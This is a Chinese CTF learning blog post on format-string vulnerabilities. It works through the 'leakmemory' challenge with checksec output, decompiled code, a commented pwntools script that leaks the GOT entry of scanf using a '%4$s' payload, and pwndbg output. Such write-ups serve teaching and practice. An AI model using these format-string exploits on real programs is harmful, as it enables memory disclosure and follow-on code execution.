PWN | 对CTF WIKI的复现+再学习 (第九期)

格式化字符串(上--低阶)

利用原理


leakmemory

1.IDA+checksec
cpp 复制代码
$ checksec leakmemory
[*] '/home/Debug/Desktop/leakmemory/leakmemory'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x8048000)


int __cdecl main(int argc, const char **argv, const char **envp)
{
  char format[100]; // [esp+0h] [ebp-78h] BYREF
  int v5; // [esp+64h] [ebp-14h]
  int a; // [esp+68h] [ebp-10h]
  int v7; // [esp+6Ch] [ebp-Ch]

  v7 = 1;
  a = 572662306;
  v5 = -1;
  read(&unk_8048560, format);
  printf("%08x.%08x.%08x.%s\n", v7, a, v5, format);
  printf(format);
  return 0;
}
2.格式化字符串利用

我们首先按照传统方法计算偏移量

可以看到偏移量为4

3.利用思路

首先是泄漏函数地址

cpp 复制代码
# 导入pwntools库,这是CTF中PWN方向最常用的工具库,提供了进程交互、二进制分析、数据打包等功能
from pwn import *

# 创建一个本地进程,运行当前目录下的leakmemory可执行文件
# sh 是与目标程序交互的句柄,可以通过它发送数据、接收输出
sh = process('./leakmemory')

# 解析leakmemory二进制文件,获取其ELF结构信息(如GOT表、PLT表、函数地址等)
leakmemory = ELF('./leakmemory')

# 从GOT表中获取__isoc99_scanf函数的全局偏移表项地址
# GOT(Global Offset Table)是用来存储函数实际地址的表,程序运行时会动态解析填充
__isoc99_scanf_got = leakmemory.got['__isoc99_scanf']

# 以16进制形式打印__isoc99_scanf的GOT地址,方便调试查看
print(hex(__isoc99_scanf_got))

# 构造格式化字符串漏洞的payload:
# 1. p32(__isoc99_scanf_got):将GOT地址打包成32位小端序的字节流(针对32位程序)
# 2. %4$s:格式化字符串,%s表示读取字符串,4表示取栈上第4个参数的地址,读取该地址指向的内容
# 整体逻辑:将GOT地址放到栈上,通过%4$s读取该地址指向的scanf函数实际内存地址(即libc中的scanf地址)
payload = p32(__isoc99_scanf_got) + '%4$s'

# 附加GDB调试器到目标进程,方便调试漏洞利用过程
gdb.attach(sh)

# 向目标程序发送构造好的payload(发送一行,自动加换行符)
sh.sendline(payload)

# 接收输出直到'%4$s\n'这个字符串位置,过滤掉无关输出
sh.recvuntil('%4$s\n')

# 读取泄露出来的scanf函数实际地址(原代码中rec未定义,这里补全)
rec = u32(sh.recv(4))  # 32位程序读取4字节,并用u32解析为整数

# 以16进制打印泄露的地址,用于后续计算libc基址
print(hex(rec))

# 进入交互模式,接管目标程序的输入输出,方便执行后续操作(如getshell)
sh.interactive()

泄漏完地址后就是按照ret2libc或者直接LibcSearcher的方式来进行利用

4.调试过程
cpp 复制代码
pwndbg> 
0xf7d733fb	533	in fileops.c
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────────────────[ REGISTERS ]────────────────────────────────────────────
 EAX  0x9
 EBX  0xf7ed6880 (_IO_file_jumps) ◂--- 0x0
 ECX  0x84ad160 ---▸ 0x804a014 (_GLOBAL_OFFSET_TABLE_+20) ---▸ 0xf7d63e00 (__isoc99_scanf) ◂--- push   ebp
 EDX  0x1000
 EDI  0xf7ed8000 (_GLOBAL_OFFSET_TABLE_) ◂--- 0x1d7d8c
 ESI  0xf7ed85c0 (_IO_2_1_stdin_) ◂--- 0xfbad2088
 EBP  0xffe33b08 ---▸ 0xffe34158 ---▸ 0xffe34198 ---▸ 0xffe34228 ◂--- 0x0
*ESP  0xffe33ae0 ---▸ 0xf7d13e7d ◂--- insb   byte ptr es:[edi], dx /* 'ld-linux.so.2' */
*EIP  0xf7d733fb (_IO_file_underflow+331) ◂--- test   eax, eax
─────────────────────────────────────────────[ DISASM ]─────────────────────────────────────────────
   0xf7de6e6e <read+46>                   add    esp, 0x14
   0xf7de6e71 <read+49>                   pop    ebx
   0xf7de6e72 <read+50>                   pop    esi
   0xf7de6e73 <read+51>                   ret    
    ↓
   0xf7d733f8 <_IO_file_underflow+328>    add    esp, 0x10
 ► 0xf7d733fb <_IO_file_underflow+331>    test   eax, eax
    ↓
   0xf7d733ff <_IO_file_underflow+335>    mov    ebx, dword ptr [esi + 0x50]
   0xf7d73402 <_IO_file_underflow+338>    mov    ecx, dword ptr [esi + 0x4c]
   0xf7d73405 <_IO_file_underflow+341>    add    dword ptr [esi + 8], eax
   0xf7d73408 <_IO_file_underflow+344>    mov    edx, ebx
   0xf7d7340a <_IO_file_underflow+346>    and    edx, ecx
─────────────────────────────────────────────[ STACK ]──────────────────────────────────────────────
00:0000│ esp  0xffe33ae0 ---▸ 0xf7d13e7d ◂--- insb   byte ptr es:[edi], dx /* 'ld-linux.so.2' */
01:0004│      0xffe33ae4 ◂--- 0x7d4
02:0008│      0xffe33ae8 ---▸ 0xf7ed6220 (_IO_helper_jumps) ◂--- 0x0
03:000c│      0xffe33aec ---▸ 0xf7edba20 ◂--- 0x0
04:0010│      0xffe33af0 ◂--- 0x3
05:0014│      0xffe33af4 ---▸ 0xf7f29000 (_GLOBAL_OFFSET_TABLE_) ◂--- 0x26f34
06:0018│      0xffe33af8 ---▸ 0xf7d732bb (_IO_file_underflow+11) ◂--- add    edi, 0x164d45
07:001c│      0xffe33afc ---▸ 0xf7ed85c0 (_IO_2_1_stdin_) ◂--- 0xfbad2088
───────────────────────────────────────────[ BACKTRACE ]────────────────────────────────────────────
 ► f 0 f7d733fb _IO_file_underflow+331
   f 1 f7d7451b _IO_default_uflow+59
   f 2 f7d57e31 _IO_vfscanf+4033
   f 3 f7d63e7d __isoc99_scanf+125
   f 4  80484a2 main+55
   f 5 f7d18fa1 __libc_start_main+241
────────────────────────────────────────────────────────────────────────────────────────────────────
pwndbg> tele 0xf7d63e00
00:0000│   0xf7d63e00 (__isoc99_scanf) ◂--- push   ebp
01:0004│   0xf7d63e04 (__isoc99_scanf+4) ◂--- push   esi
02:0008│   0xf7d63e08 (__isoc99_scanf+8) ◂--- or     eax, 0xf6c78100 /* '\r' */
03:000c│   0xf7d63e0c (__isoc99_scanf+12) ◂--- test   byte ptr [ecx + 0x17], 0
04:0010│   0xf7d63e10 (__isoc99_scanf+16) ◂--- push   ebx
05:0014│   0xf7d63e14 (__isoc99_scanf+20) ◂--- mov    eax, dword ptr [edi - 0x18]
06:0018│   0xf7d63e18 (__isoc99_scanf+24) ◂--- 0x308bffff
07:001c│   0xf7d63e1c (__isoc99_scanf+28) ◂--- mov    dword ptr [ebp - 0x1c], eax

输出的时候就会直接输出原__isoc99_scanf的got地址(这里我出了点问题,没能把那个对应的真实地址输出出来,但是我在调试的时候是可以看到对应地址的)


本人实力尚弱,在一些长难题面前会多停一会儿,因此在我的Blog中可能不会出现一些盲打(blind)的题目,但是各位在下面实操时,可以选择一些具有典型性和稍微有些难度的题目进行沉淀练习,愿大家进步不停,不停进步💪

相关推荐
hsg772 分钟前
简述:openclaw应用二三事
人工智能·学习
加密棱镜3 分钟前
从攻防两端看 AI 对密码安全的重构 挑战与机遇并存
网络·安全
PetaCloud8 分钟前
Supabase Storage 迎来重大更新,性能、安全与可靠性全面升级
网络·安全·supabase
承渊政道8 分钟前
C++学习之旅【unordered_map和unordered_set的使⽤以及哈希表的实现】
c语言·c++·学习·哈希算法·散列表·hash-index
互成17 分钟前
数据防泄密软件应该怎么选?2026顶尖数据防泄密软件推荐
网络
零基础的修炼20 分钟前
Linux网络---Epoll-Reactor模式
linux·网络·php
嘉琪00122 分钟前
Day2 完整学习包(闭包 & 立即执行函数)——2026 0311
学习
南浦别a27 分钟前
第三十一天--继续学习--TreeSet排序方式和HashSet
学习
小尔¥30 分钟前
Nginx核心功能
运维·网络·nginx
犀思云34 分钟前
解构网络复杂性:基于 FusionWAN NaaS 的确定性架构工程实践与流量编排深度指南
网络·人工智能·机器人·智能仓储·专线